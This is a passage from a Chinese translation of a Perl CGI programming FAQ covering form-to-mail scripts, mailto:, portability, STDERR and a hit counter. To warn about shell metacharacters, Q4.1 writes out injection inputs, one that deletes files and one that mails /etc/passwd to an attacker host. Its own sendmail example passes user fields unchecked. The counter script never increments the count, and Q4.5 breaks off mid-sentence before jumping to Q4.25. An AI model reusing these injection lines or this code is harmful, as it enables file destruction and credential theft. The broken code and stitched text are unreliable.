|
4.0 - 程式设计疑难杂症
--------------------------------------------------------------------------------
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? 其实做这个很容易。您的 CGI script 必须能做到这两件事:
将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。 我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。 网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:
【译者】gateway 在此指送 email 的 CGI 程式
open MAIL, "| mail -s 'Subject' $to";
^
|
+-- 可能会出问题的漏洞!!!
如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料: ; rm -fr / ; 那麽您的麻烦可大了*。 【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。 在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。
; mail joe@crackerland.org </etc/passwd
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。
--------------------------------------------------------------------------------
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了? 很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。
【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(Netscape 、 IE, 和 lynx 等浏览器都支援 mailto: )。
--------------------------------------------------------------------------------
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts*? Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理应不难 移植。但如果您使用到一些 UNIX 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。
【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等非 UNIX 平台 上测式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除错技巧 ,或在自己的机器上安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。
--------------------------------------------------------------------------------
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处? 在 CGI 环境下,STDERR 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 STDERR,然後您便可藉查看错误讯息档来帮 您除错。
STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。
您也可以用将 STDERR 「复制」到 STDOUT 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):
open STDERR, ">&STDOUT";
这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。
--------------------------------------------------------------------------------
Q4.5: 如何写计数器? 计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
用一个档案去储存资料。 每当有人光临网站,增大档案中所计的数字。 以下是一个简单的计数器的实例:
#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";
open(FILE, $counter) || die "Cannot read from the counter file.\n";
flock FILE, 2;
$visitors = <FILE>;
flock FILE, 8;
close FILE;
open(FILE, ">$counter") || die "Cannot write to counter file.\n";
flock FILE, 2;
print FILE $visitors;
flock FILE, 8;
close FILE;
现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器: 【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。
您是第
--------------------------------------------------------------------------------
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? 每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 CGI 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 C 或 C++来写。如果您求快的话(指发展所花费的时间而言), 那麽 Perl 是正确的选择!
一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 shell 在先 天上容易产生安全问题。
上一页 [1] [2] [3] [4] [5] [6] 下一页
|